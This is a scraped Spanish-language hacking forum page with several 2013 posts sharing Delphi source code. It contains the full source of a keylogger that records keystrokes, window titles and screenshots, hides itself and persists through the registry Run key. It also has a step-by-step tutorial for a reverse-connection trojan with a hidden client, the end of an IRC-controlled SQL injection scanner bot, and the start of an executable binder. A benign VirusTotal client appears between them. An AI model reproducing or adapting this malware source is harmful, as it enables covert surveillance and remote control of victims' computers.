  591.              IdIRC1.Say(ANicknameFrom, '[-] DB details not found');
  592.              sStatusBar1.Panels[0].Text := '[-] DB details not found';
  593.              Form2.sStatusBar1.Update;
  594.            end;
  595.  
  596.  
  597.            //
  598.  
  599.            sStatusBar1.Panels[0].Text := '[+] Done';
  600.            Form2.sStatusBar1.Update;
  601.  
  602.            IdIRC1.Say(ANicknameFrom, '[+] Done');
  603.  
  604.            sMemo1.Lines.Add('[+] SQLI Scanner : Finished');
  605.  
  606.            sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Finished';
  607.            Form2.sStatusBar1.Update;
  608.  
  609.            IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Finished');
  610.  
  611.            abort;
  612.          end
  613.        end;
  614.        sStatusBar1.Panels[0].Text := '[-] Columns Length not found';
  615.        Form2.sStatusBar1.Update;
  616.        IdIRC1.Say(ANicknameFrom, '[-] Columns Length not found');
  617.      end
  618.      else
  619.      begin
  620.        sStatusBar1.Panels[0].Text := '[-] Not vulnerable';
  621.        Form2.sStatusBar1.Update;
  622.        IdIRC1.Say(ANicknameFrom, '[-] Not vulnerable');
  623.      end;
  624.  
  625.      sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Finished';
  626.      Form2.sStatusBar1.Update;
  627.  
  628.      IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Finished');
  629.  
  630.      sMemo1.Lines.Add('[+] SQLI Scanner : Finished');
  631.  
  632.    end;
  633.  
  634.  end;
  635. end;
  636.  
  637. procedure TForm2.sButton1Click(Sender: TObject);
  638. var
  639.  nick: string;
  640. begin
  641.  
  642.  nick := 'ClapTrap';
  643.  
  644.  IdIRC1.Host := sEdit1.Text;
  645.  IdIRC1.Port := StrToInt(sEdit2.Text);
  646.  IdIRC1.Nickname := nick;
  647.  IdIRC1.Username := nick + ' 1 1 1 1';
  648.  IdIRC1.AltNickname := nick + '-l33t';
  649.  
  650.  try
  651.  
  652.    IdIRC1.Connect;
  653.    IdIRC1.Join(sEdit3.Text);
  654.  
  655.    sStatusBar1.Panels[0].Text := '[+] Connected';
  656.    Form2.sStatusBar1.Update;
  657.  
  658.  except
  659.    sStatusBar1.Panels[0].Text := '[-] Error';
  660.    Form2.sStatusBar1.Update;
  661.  end;
  662.  
  663. end;
  664.  
  665. procedure TForm2.sButton2Click(Sender: TObject);
  666. begin
  667.  
  668.  IdIRC1.Part(sEdit3.Text);
  669.  IdIRC1.Disconnect();
  670.  
  671.  sStatusBar1.Panels[0].Text := '[+] OffLine';
  672.  Form2.sStatusBar1.Update;
  673.  
  674. end;
  675.  
  676. end.
  677.  
  678. // The End ?
  679.  

En honor a ClapTrap el robot gracioso de BorderLands xDD.

Si lo quieren bajar lo pueden hacer de aca.
147  Programación / Programación General / [Delphi] DH KeyCagator 0.2 en: 8 Noviembre 2013, 16:42 pm
Un simple keylogger en delphi , en esta version se podria decir que es un "prototipo" ya que en la proxima version de este keylogger me concentrare en ciertos detalles.

El keylogger tiene las siguientes funciones :

  • Captura teclas reconociendo mayusculas y minusculas
  • Captura el nombre de la ventana actual
  • Captura un screenshot del escritorio cada 1 hora
  • Guarda todos los registros en un archivo HTML "ordenado"
  • Oculta todos los archivos relacionados con el keylogger
  • Se mueve y oculta en una carpeta de Windows
  • Se carga cada vez que inicia Windows

* Usen shift+F9 para abrir el panel de control.

Unas imagenes :





El codigo :

Código
  1. // DH Keycagator 0.2
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit dhkey;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, acPNG, ExtCtrls, StdCtrls, Registry;
  11.  
  12. type
  13.  TForm1 = class(TForm)
  14.    Image1: TImage;
  15.    GroupBox1: TGroupBox;
  16.    Edit1: TEdit;
  17.    Button1: TButton;
  18.    Timer1: TTimer;
  19.    procedure Button1Click(Sender: TObject);
  20.    procedure Timer1Timer(Sender: TObject);
  21.    procedure FormCreate(Sender: TObject);
  22.    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  23.  private
  24.    { Private declarations }
  25.  public
  26.    { Public declarations }
  27.  end;
  28.  
  29. var
  30.  Form1: TForm1;
  31.  
  32. implementation
  33.  
  34. uses dhmain;
  35. {$R *.dfm}
  36.  
  37. procedure savefile(filename, texto: string);
  38. var
  39.  ar: TextFile;
  40.  
  41. begin
  42.  
  43.  AssignFile(ar, filename);
  44.  FileMode := fmOpenWrite;
  45.  
  46.  if FileExists(filename) then
  47.    Append(ar)
  48.  else
  49.    Rewrite(ar);
  50.  
  51.  Write(ar, texto);
  52.  CloseFile(ar);
  53.  
  54. end;
  55.  
  56. procedure TForm1.Button1Click(Sender: TObject);
  57. var
  58.  password: string;
  59. begin
  60.  
  61.  password := '123'; // Edit the password
  62.  
  63.  if (Edit1.Text = password) then
  64.  begin
  65.    Form1.Hide;
  66.    Form2.Show;
  67.  end
  68.  else
  69.  begin
  70.    ShowMessage('Fuck You');
  71.  end;
  72.  
  73. end;
  74.  
  75. procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
  76. begin
  77.  Form1.Hide;
  78.  Abort;
  79. end;
  80.  
  81. procedure TForm1.FormCreate(Sender: TObject);
  82. var
  83.  dir: string;
  84.  nombrereal: string;
  85.  rutareal: string;
  86.  yalisto: string;
  87.  her: TRegistry;
  88. begin
  89.  
  90.  Application.ShowMainForm := False;
  91.  
  92.  nombrereal := ExtractFileName(ParamStr(0));
  93.  rutareal := ParamStr(0);
  94.  yalisto := GetEnvironmentVariable('WINDIR') + '/acatoy_xD/' + nombrereal;
  95.  
  96.  MoveFile(Pchar(rutareal), Pchar(yalisto));
  97.  
  98.  SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  99.  
  100.  her := TRegistry.Create;
  101.  her.RootKey := HKEY_LOCAL_MACHINE;
  102.  
  103.  her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', False);
  104.  her.WriteString('System', yalisto);
  105.  her.Free;
  106.  
  107.  dir := GetEnvironmentVariable('WINDIR') + '/acatoy_xD';
  108.  
  109.  if not(DirectoryExists(dir)) then
  110.  begin
  111.    CreateDir(dir);
  112.  end;
  113.  
  114.  ChDir(dir);
  115.  
  116.  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR') + '/acatoy_xD'),
  117.    FILE_ATTRIBUTE_HIDDEN);
  118.  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
  119.        + '/acatoy_xD/logs.html'), FILE_ATTRIBUTE_HIDDEN);
  120.  
  121.  savefile('logs.html',
  122.    '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');
  123.  
  124. end;
  125.  
  126. procedure TForm1.Timer1Timer(Sender: TObject);
  127. var
  128.  i: integer;
  129.  re: Longint;
  130. begin
  131.  
  132.  if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  133.  begin
  134.  
  135.    re := GetAsyncKeyState(120);
  136.    If re = -32767 then
  137.    Begin
  138.      Form1.Show;
  139.    End;
  140.  end;
  141.  
  142. end;
  143.  
  144. end.
  145.  
  146. // The End ?
  147.  

Código
  1. // DH KeyCagator 0.2
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit dhmain;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, acPNG, ExtCtrls, StdCtrls, ShellApi, Jpeg;
  11.  
  12. type
  13.  TForm2 = class(TForm)
  14.    Image1: TImage;
  15.    GroupBox1: TGroupBox;
  16.    GroupBox2: TGroupBox;
  17.    GroupBox3: TGroupBox;
  18.    Button1: TButton;
  19.    Button2: TButton;
  20.    Button3: TButton;
  21.    Button4: TButton;
  22.    Label1: TLabel;
  23.    Timer1: TTimer;
  24.    Timer2: TTimer;
  25.    Timer3: TTimer;
  26.    Image2: TImage;
  27.    Label2: TLabel;
  28.    procedure FormCreate(Sender: TObject);
  29.    procedure Button1Click(Sender: TObject);
  30.    procedure Button2Click(Sender: TObject);
  31.    procedure Timer1Timer(Sender: TObject);
  32.    procedure Button3Click(Sender: TObject);
  33.    procedure Timer2Timer(Sender: TObject);
  34.    procedure Timer3Timer(Sender: TObject);
  35.    procedure Button4Click(Sender: TObject);
  36.  private
  37.  
  38.  private
  39.    Nombre2: string;
  40.  
  41.    { Private declarations }
  42.  public
  43.    { Public declarations }
  44.  end;
  45.  
  46. var
  47.  Form2: TForm2;
  48.  
  49. implementation
  50.  
  51. {$R *.dfm}
  52.  
  53. procedure savefile(filename, texto: string);
  54. var
  55.  ar: TextFile;
  56.  
  57. begin
  58.  
  59.  AssignFile(ar, filename);
  60.  FileMode := fmOpenWrite;
  61.  
  62.  if FileExists(filename) then
  63.    Append(ar)
  64.  else
  65.    Rewrite(ar);
  66.  
  67.  Write(ar, texto);
  68.  CloseFile(ar);
  69.  
  70. end;
  71.  
  72. procedure TForm2.Button1Click(Sender: TObject);
  73. begin
  74.  Label1.font.color := clLime;
  75.  Label1.Caption := 'Online';
  76.  Timer1.Enabled := True;
  77.  Timer2.Enabled := True;
  78.  Timer3.Enabled := True;
  79. end;
  80.  
  81. procedure TForm2.Button2Click(Sender: TObject);
  82. begin
  83.  Label1.font.color := clRed;
  84.  Label1.Caption := 'Offline';
  85.  Timer1.Enabled := False;
  86.  Timer2.Enabled := False;
  87.  Timer3.Enabled := False;
  88. end;
  89.  
  90. procedure TForm2.Button3Click(Sender: TObject);
  91. begin
  92.  ShellExecute(Handle, 'open', 'logs.html', nil, nil, SW_SHOWNORMAL);
  93. end;
  94.  
  95. procedure TForm2.Button4Click(Sender: TObject);
  96. begin
  97.  Application.Terminate;
  98. end;
  99.  
  100. procedure TForm2.FormCreate(Sender: TObject);
  101. var
  102.  dir: string;
  103. begin
  104.  
  105.  dir := GetEnvironmentVariable('WINDIR') + '/acatoy_xD';
  106.  
  107.  if not(DirectoryExists(dir)) then
  108.  begin
  109.    CreateDir(dir);
  110.  end;
  111.  
  112.  ChDir(dir);
  113.  
  114.  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR') + '/acatoy_xD'),
  115.    FILE_ATTRIBUTE_HIDDEN);
  116.  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
  117.        + '/acatoy_xD/logs.html'), FILE_ATTRIBUTE_HIDDEN);
  118.  
  119.  Label1.font.color := clLime;
  120.  Label1.Caption := 'Online';
  121.  Timer1.Enabled := True;
  122.  Timer2.Enabled := True;
  123.  Timer3.Enabled := True;
  124. end;
  125.  
  126. procedure TForm2.Timer1Timer(Sender: TObject);
  127. var
  128.  i: integer;
  129.  Result: Longint;
  130.  mayus: integer;
  131.  shift: integer;
  132.  
  133. const
  134.  
  135.  n_numeros_izquierda: array [1 .. 10] of string =
  136.    ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');
  137.  
  138. const
  139.  t_numeros_izquierda: array [1 .. 10] of string =
  140.    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
  141.  
  142. const
  143.  n_numeros_derecha: array [1 .. 10] of string =
  144.    ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');
  145.  
  146. const
  147.  t_numeros_derecha: array [1 .. 10] of string =
  148.    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
  149.  
  150. const
  151.  n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
  152.    '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
  153.    '291', '220', '221', '222', '226');
  154.  
  155. const
  156.  t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
  157.    '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
  158.    '|');
  159.  
  160. const
  161.  n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
  162.    '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
  163.    '226');
  164.  
  165. const
  166.  t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
  167.    '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
  168.    ' / ', ' \ \ \ ', ']', '[', '~', '\/');
  169.  
  170. begin
  171.  
  172.  // Others
  173.  
  174.  for i := Low(n_raros) to High(n_raros) do
  175.  begin
  176.    Result := GetAsyncKeyState(StrToInt(n_raros[i]));
  177.    If Result = -32767 then
  178.    begin
  179.      savefile('logs.html', t_raros[i]);
  180.    end;
  181.  end;
  182.  
  183.  // Numbers
  184.  
  185.  for i := Low(n_numeros_derecha) to High(n_numeros_derecha) do
  186.  begin
  187.    Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[i]));
  188.    If Result = -32767 then
  189.    begin
  190.      savefile('logs.html', t_numeros_derecha[i]);
  191.    end;
  192.  end;
  193.  
  194.  for i := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
  195.  begin
  196.    Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[i]));
  197.    If Result = -32767 then
  198.    begin
  199.      savefile('logs.html', t_numeros_izquierda[i]);
  200.    end;
  201.  end;
  202.  
  203.  // SHIFT
  204.  
  205.  if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  206.  begin
  207.  
  208.    for i := Low(n_shift) to High(n_shift) do
  209.    begin
  210.      Result := GetAsyncKeyState(StrToInt(n_shift[i]));
  211.      If Result = -32767 then
  212.      begin
  213.        savefile('logs.html', t_shift[i]);
  214.      end;
  215.    end;
  216.  
  217.    for i := 65 to 90 do
  218.    begin
  219.      Result := GetAsyncKeyState(i);
  220.      If Result = -32767 then
  221.      Begin
  222.        savefile('logs.html', Chr(i + 0));
  223.      End;
  224.    end;
  225.  
  226.  end;
  227.  
  228.  // MAYUS
  229.  
  230.  if (GetKeyState(20) = 0) then
  231.  begin
  232.    mayus := 32;
  233.  end
  234.  else
  235.  begin
  236.    mayus := 0;
  237.  end;
  238.  
  239.  for i := 65 to 90 do
  240.  begin
  241.    Result := GetAsyncKeyState(i);
  242.    If Result = -32767 then
  243.    Begin
  244.      savefile('logs.html', Chr(i + mayus));
  245.    End;
  246.  end;
  247.  
  248. end;
  249.  
  250. procedure TForm2.Timer2Timer(Sender: TObject);
  251. var
  252.  ventana1: array [0 .. 255] of char;
  253.  nombre1: string;
  254.  
  255. begin
  256.  
  257.  GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));
  258.  
  259.  nombre1 := ventana1;
  260.  
  261.  if not(nombre1 = Nombre2) then
  262.  begin
  263.    Nombre2 := nombre1;
  264.    savefile('logs.html',
  265.      '<hr style=color:#00FF00><h2><center>' + Nombre2 + '</h2></center><br>');
  266.  end;
  267.  
  268. end;
  269.  
  270. procedure TForm2.Timer3Timer(Sender: TObject);
  271. var
  272.  foto1: TBitmap;
  273.  foto2: TJpegImage;
  274.  ventana: HDC;
  275.  generado: string;
  276.  
  277. begin
  278.  
  279.  ventana := GetWindowDC(GetDesktopWindow);
  280.  
  281.  foto1 := TBitmap.Create;
  282.  foto1.PixelFormat := pf24bit;
  283.  foto1.Height := Screen.Height;
  284.  foto1.Width := Screen.Width;
  285.  
  286.  BitBlt(foto1.Canvas.Handle, 0, 0, foto1.Width, foto1.Height, ventana, 0, 0,
  287.    SRCCOPY);
  288.  
  289.  foto2 := TJpegImage.Create;
  290.  foto2.Assign(foto1);
  291.  foto2.CompressionQuality := 60;
  292.  
  293.  generado := IntToStr(Random(100)) + '.jpg';
  294.  
  295.  foto2.SaveToFile(generado);
  296.  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
  297.        + '/acatoy_xD/' + generado), FILE_ATTRIBUTE_HIDDEN);
  298.  
  299.  savefile('logs.html', '<br><br><center><img src=' + generado +
  300.      '></center><br><br>');
  301.  
  302. end;
  303.  
  304. end.
  305.  
  306. // The End ?
  307.  

Si lo quieren bajar lo pueden hacer de aca.
148  Programación / Programación General / [Delphi] VirusTotal Scanner 0.1 en: 1 Noviembre 2013, 16:51 pm
Un simple programa en Delphi para usar el API de VirusTotal.

Una imagen :



El codigo :

Código
  1. // VirusTotal Scanner 0.1
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit virus;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, sSkinManager, IdBaseComponent, IdComponent, IdTCPConnection,
  11.  IdTCPClient, IdHTTP, StdCtrls, sButton, sMemo, IdMultipartFormData, DBXJSON,
  12.  PerlRegEx, IdHashMessageDigest, idHash, sEdit, sGroupBox, ComCtrls, sListView,
  13.  sStatusBar, acPNG, ExtCtrls;
  14.  
  15. type
  16.  TForm1 = class(TForm)
  17.    IdHTTP1: TIdHTTP;
  18.    sSkinManager1: TsSkinManager;
  19.    PerlRegEx1: TPerlRegEx;
  20.    sGroupBox1: TsGroupBox;
  21.    sEdit1: TsEdit;
  22.    OpenDialog1: TOpenDialog;
  23.    sGroupBox2: TsGroupBox;
  24.    sListView1: TsListView;
  25.    sStatusBar1: TsStatusBar;
  26.    sGroupBox3: TsGroupBox;
  27.    sMemo1: TsMemo;
  28.    sGroupBox4: TsGroupBox;
  29.    sButton1: TsButton;
  30.    sButton2: TsButton;
  31.    sButton4: TsButton;
  32.    sButton5: TsButton;
  33.    Image1: TImage;
  34.  
  35.    procedure FormCreate(Sender: TObject);
  36.    procedure sButton1Click(Sender: TObject);
  37.    procedure sButton2Click(Sender: TObject);
  38.    procedure sButton4Click(Sender: TObject);
  39.    procedure sButton5Click(Sender: TObject);
  40.  
  41.  private
  42.  
  43.    { Private declarations }
  44.  public
  45.    { Public declarations }
  46.  end;
  47.  
  48. var
  49.  Form1: TForm1;
  50.  
  51. implementation
  52.  
  53. {$R *.dfm}
  54.  
  55. function convertirmd5(const archivo: string): string;
  56. var
  57.  valormd5: TIdHashMessageDigest5;
  58.  archivox: TFileStream;
  59. begin
  60.  
  61.  valormd5 := TIdHashMessageDigest5.Create;
  62.  archivox := TFileStream.Create(archivo, fmOpenRead);
  63.  Result := valormd5.HashStreamAsHex(archivox)
  64.  
  65. end;
  66.  
  67. procedure TForm1.FormCreate(Sender: TObject);
  68. var
  69.  dir: string;
  70. begin
  71.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  72.  sSkinManager1.SkinName := 'falloutstyle';
  73.  sSkinManager1.Active := True;
  74.  
  75. end;
  76.  
  77. procedure TForm1.sButton1Click(Sender: TObject);
  78. begin
  79.  OpenDialog1.InitialDir := GetCurrentDir;
  80.  if OpenDialog1.Execute then
  81.  begin
  82.    sEdit1.Text := OpenDialog1.filename;
  83.  end;
  84. end;
  85.  
  86. procedure TForm1.sButton2Click(Sender: TObject);
  87.  
  88. var
  89.  datos: TIdMultiPartFormDataStream;
  90.  code: string;
  91.  antivirus: string;
  92.  resultado: string;
  93.  
  94.  html: string;
  95.  
  96. begin
  97.  
  98.  if FileExists(sEdit1.Text) then
  99.  begin
  100.  
  101.    sMemo1.Clear;
  102.    sListView1.Clear;
  103.  
  104.    sStatusBar1.Panels[0].Text := '[+] Scanning ...';
  105.    Form1.sStatusBar1.Update;
  106.  
  107.    datos := TIdMultiPartFormDataStream.Create;
  108.    datos.AddFormField('resource', convertirmd5(sEdit1.Text));
  109.    datos.AddFormField('apikey',
  110.      'fuck you');
  111.  
  112.    code := IdHTTP1.Post('http://www.virustotal.com/vtapi/v2/file/report',
  113.      datos);
  114.  
  115.    code := StringReplace(code, '{"scans":', '', [rfReplaceAll, rfIgnoreCase]);
  116.  
  117.    PerlRegEx1.Regex :=
  118.      '"(.*?)": {"detected": (.*?), "version": (.*?), "result": (.*?), "update": (.*?)}';
  119.    PerlRegEx1.Subject := code;
  120.  
  121.    while PerlRegEx1.MatchAgain do
  122.    begin
  123.  
  124.      antivirus := PerlRegEx1.SubExpressions[1];
  125.      resultado := PerlRegEx1.SubExpressions[4];
  126.      resultado := StringReplace
  127.        (resultado, '"', '', [rfReplaceAll, rfIgnoreCase]);
  128.  
  129.      with sListView1.Items.Add do
  130.      begin
  131.        Caption := antivirus;
  132.        if (resultado = 'null') then
  133.        begin
  134.          SubItems.Add('Clean');
  135.        end
  136.        else
  137.        begin
  138.          SubItems.Add(resultado);
  139.        end;
  140.      end;
  141.  
  142.    end;
  143.  
  144.    PerlRegEx1.Regex := '"scan_id": "(.*?)"';
  145.    PerlRegEx1.Subject := code;
  146.  
  147.    if PerlRegEx1.Match then
  148.    begin
  149.      sMemo1.Lines.Add('[+] Scan_ID : ' + PerlRegEx1.SubExpressions[1]);
  150.    end;
  151.  
  152.    PerlRegEx1.Regex := '"scan_date": "(.*?)"';
  153.    PerlRegEx1.Subject := code;
  154.  
  155.    if PerlRegEx1.Match then
  156.    begin
  157.      sMemo1.Lines.Add('[+] Scan_Date : ' + PerlRegEx1.SubExpressions[1]);
  158.    end;
  159.  
  160.    PerlRegEx1.Regex := '"permalink": "(.*?)"';
  161.    PerlRegEx1.Subject := code;
  162.  
  163.    if PerlRegEx1.Match then
  164.    begin
  165.      sMemo1.Lines.Add('[+] PermaLink : ' + PerlRegEx1.SubExpressions[1]);
  166.    end;
  167.  
  168.    PerlRegEx1.Regex :=
  169.      '"verbose_msg": "(.*?)", "total": (.*?), "positives": (.*?),';
  170.    PerlRegEx1.Subject := code;
  171.  
  172.    if PerlRegEx1.Match then
  173.    begin
  174.      sMemo1.Lines.Add('[+] Founds : ' + PerlRegEx1.SubExpressions[3]
  175.          + '/' + PerlRegEx1.SubExpressions[2]);
  176.    end;
  177.    sStatusBar1.Panels[0].Text := '[+] Done';
  178.    Form1.sStatusBar1.Update;
  179.  end
  180.  else
  181.  begin
  182.    sStatusBar1.Panels[0].Text := '[-] File Not Found';
  183.    Form1.sStatusBar1.Update;
  184.  end;
  185. end;
  186.  
  187. procedure TForm1.sButton4Click(Sender: TObject);
  188. begin
  189.  ShowMessage('Contact to lepuke[at]hotmail[com]');
  190. end;
  191.  
  192. procedure TForm1.sButton5Click(Sender: TObject);
  193. begin
  194.  Form1.Close();
  195. end;
  196.  
  197. end.
  198.  
  199. // The End ?
  200.  

Si lo quieren bajar lo pueden hacer de aca.
149  Programación / Programación General / [Delphi] Creacion de un Troyano de conexion inversa en: 29 Octubre 2013, 22:37 pm
[Titulo] : Creacion de un Troyano de Conexion Inversa
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del servidor
0x03 : Creacion del cliente
0x04 : Probando el programa

-- =================--------

0x01 : Introduccion

Hola voy a empezar este corto manual sobre como hacer un troyano de conexion inversa en delphi 2010 , un troyano teoricamente es un software malicioso que sirve para entrar en la computadora de la persona a la que quieren infectar.

En este caso vamos a hacer uno de conexion inversa , tradicionalmente se hacian troyanos de conexion directa donde el infectado se convertia en servidor abriendo un puerto para que el atacante puediera entrar simplemente con una conexion por sockets , pero la onda de ahora es la conexion inversa donde el atacante se convierte en el pobre servidor para que las victimas se conecten a nosotros , lo bueno de la conexion inversa es que a la maquina infectada no le va a saltar el firewall cosa que siempre pasa cuando el infectado recibe el amable cartelito de que si quiere desbloquear un misterioso puerto xDD.
 
Para esto vamos a necesitar usar los componentes ServerSocket y ClientSocket que tiene delphi.

Para instarlo tenemos que ir a Menu -> components -> install packages

En el menu que les aparece busquen el directorio Archivos de programa -> Embarcadero -> Rad Studio -> 7.0 -> bin -> dclsockets70.bpl

Y listo una vez cargado el archivo bpl les va aparecer en la paleta de internet los componentes ServerSocket y ClientSocket.

Antes de comenzar debemos entender que el servidor seremos nosotros osea el atacante y el cliente la victima , no se vayan a confundir y pensarlo al reves xDD.

0x02 : Creacion del servidor

Primero vamos a crear el servidor , para eso vamos a File->New->VCL Forms Application como lo hice en la imagen :



Para hacer el formulario decente tenemos que agregar lo siguiente.

  • 1 ListBox
  • 2 botones
  • 1 Edit
  • 1 ServerSocket (lo ponemos en true para que este activo )

Tiene que quedar como esta imagen.



Una vez hecho elegimos cualquiera de los dos botones con el fin de usarlo para refrescar el listbox con las conexiones activas , entonces hacemos doble click en el boton que elegimos como "Refresh" y ponemos el siguiente codigo.

Código
  1. procedure TForm1.Button1Click(Sender: TObject);
  2. var
  3.  lugar: integer; // Declaramos la variable lugar como entero
  4. begin
  5.  
  6.  ListBox1.Clear; // Limpiamos el contenido de ListBox
  7.  
  8.  for lugar := 0 To ServerSocket1.Socket.ActiveConnections - 1 do
  9.  // Listamos las conexiones que
  10.  // hay en el server
  11.  begin
  12.    ListBox1.Items.add(ServerSocket1.Socket.Connections[lugar].RemoteHost);
  13.    // Agregamos al ListBox
  14.    // el host del infectado
  15.    // conectado
  16.  end;
  17.  
  18. end;
  19.  

Tiene que quedar como en la siguiente imagen.



Entonces pasamos al siguiente boton que lo vamos usar para mandar los comandos al pc infectado , entonces hacemos doble click en el segundo boton y pegamos el siguiente codigo comentado.

Código
  1. procedure TForm1.Button2Click(Sender: TObject);
  2.  
  3. begin
  4.  
  5.  ServerSocket1.Socket.Connections[ListBox1.Itemindex].SendText(Edit1.Text);
  6.  // Mandamos el comando
  7.  // al pc infectado que
  8.  // seleccionamos en el
  9.  // ListBox
  10.  
  11. end;
  12.  

Una imagen de como deberia quedar el codigo.




0x03 : Creacion del cliente

Ahora pasamos al cliente.

Lo unico que debemos agregar es el componente ClientSocket al formulario.

Entonces vamos al evento OnCreate del formulario central y pegamos el siguiente codigo.

Código
  1. procedure TForm1.FormCreate(Sender: TObject);
  2. begin
  3.  
  4.  ClientSocket1.Host := '127.0.0.1'; // Establecemos el host con valor de nuestro ip local
  5.  ClientSocket1.Port := 666; // Establecemos el puerto que sera 666
  6.  ClientSocket1.Open; // Iniciamos la conexion con el servidor
  7.  
  8.  Application.ShowMainForm := False; // Ocultamos el formulario para que no se vea la ventana
  9.  
  10. end;
  11.  

Despues de esto vamos al evento OnRead del componente ClientSocket y copiamos el siguiente codigo comentado.

Código
  1. procedure TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
  2. var
  3.  code: string;
  4. begin
  5.  
  6.  // Tenemos que agregar 'uses MMSystem' al inicio del codigo para poder abrir y cerrar la lectora
  7.  
  8.  code := Socket.ReceiveText; // Capturamos el contenido del socket en la variable code
  9.  
  10.  if (Pos('opencd', code) > 0) then // Si encontramos opencd en el codigo ...
  11.  begin
  12.    mciSendString('Set cdaudio door open wait', nil, 0, handle);
  13.    // Usamos mciSendString para abrir
  14.    // la lectora
  15.  end;
  16.  
  17.  if (Pos('closecd', code) > 0) then // Si encontramos closecd en la variable code ...
  18.  begin
  19.    mciSendString('Set cdaudio door closed wait', nil, 0, handle);
  20.    // Cerramos la lectora usando
  21.    // mciSendString
  22.  end;
  23.  
  24. end;
  25.  

Una imagen de como deberia quedar el codigo.



0x04 : Probando el programa

El codigo resulto mas sencillo de lo que esperaba ya que gracias a los eventos lo hice a todo en 5 minutos , entonces vamos y cargamos los ejecutables primero el servidor y despues el cliente.
Entonces si hicieron todo bien veran que se cargo en el listbox el servidor de una victima que en este caso seria localhost , entonces seleccionamos localhost del listbox y le hacemos click , entonces vamos a usar los dos comandos disponibles que son "opencd" y "closecd".
Los comandos disponibles solo sirven para abrir y cerrar la lectora pero se pueden hacer muchas cosas solo es cuestion de imaginacion , una idea graciosa seria cargar el word y que le escriba solo , de hecho ya hice eso en mi DH Botnet que esta hecha en Perl y PHP.

Les muestro una imagen de como seria todo.



Ya llegamos al final de este corto manual pero les aviso que pronto se viene mi primer troyano de conexion inversa en Delphi.
 
--========--
  The End ?
--========--

Version PDF.
150  Programación / Programación General / [Delphi] DH Binder 0.3 en: 25 Octubre 2013, 17:05 pm
Un simple Binder que hice en Delphi con las siguientes opciones :

  • Junta todos los archivos que quieran
  • Se puede seleccionar donde se extraen los archivos
  • Se puede cargar los archivos de forma oculta o normal
  • Se puede ocultar los archivos
  • Se puede elegir el icono del ejecutable generado

Una imagen :



El codigo del Binder.

Código
  1. // DH Binder 0.3
  2. // (C) Doddy Hackman 2013
  3. // Credits :
  4. // Joiner Based in : "Ex Binder v0.1" by TM
  5. // Icon Changer based in : "IconChanger" By Chokstyle
  6. // Thanks to TM & Chokstyle
  7.  
  8. unit dhbinde;
  9.  
  10. interface
  11.  
  12. uses
  13.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  14.  Dialogs, sSkinManager, acPNG, ExtCtrls, ComCtrls, sListView, sStatusBar,
  15.  StdCtrls, sGroupBox, sButton, sComboBox, sCheckBox, Menus, sEdit, madRes;
  16.  
  17. type
  18.  TForm1 = class(TForm)
  19.    sSkinManager1: TsSkinManager;
  20.    Image1: TImage;
  21.    sGroupBox1: TsGroupBox;
  22.    sStatusBar1: TsStatusBar;
  23.    sListView1: TsListView;
  24.    sGroupBox2: TsGroupBox;
  25.    sGroupBox3: TsGroupBox;
  26.    Image2: TImage;
  27.    sButton1: TsButton;
  28.    sGroupBox4: TsGroupBox;
  29.    sComboBox1: TsComboBox;
  30.    sGroupBox5: TsGroupBox;
  31.    sCheckBox1: TsCheckBox;
  32.    sGroupBox6: TsGroupBox;
  33.    sButton2: TsButton;
  34.    sButton3: TsButton;
  35.    sButton4: TsButton;
  36.    PopupMenu1: TPopupMenu;
  37.    l1: TMenuItem;
  38.    OpenDialog1: TOpenDialog;
  39.    OpenDialog2: TOpenDialog;
  40.    sEdit1: TsEdit;
  41.    C1: TMenuItem;
  42.    procedure l1Click(Sender: TObject);
  43.    procedure FormCreate(Sender: TObject);
  44.    procedure sButton1Click(Sender: TObject);
  45.    procedure sButton2Click(Sender: TObject);
  46.    procedure sButton3Click(Sender: TObject);
  47.    procedure sButton4Click(Sender: TObject);
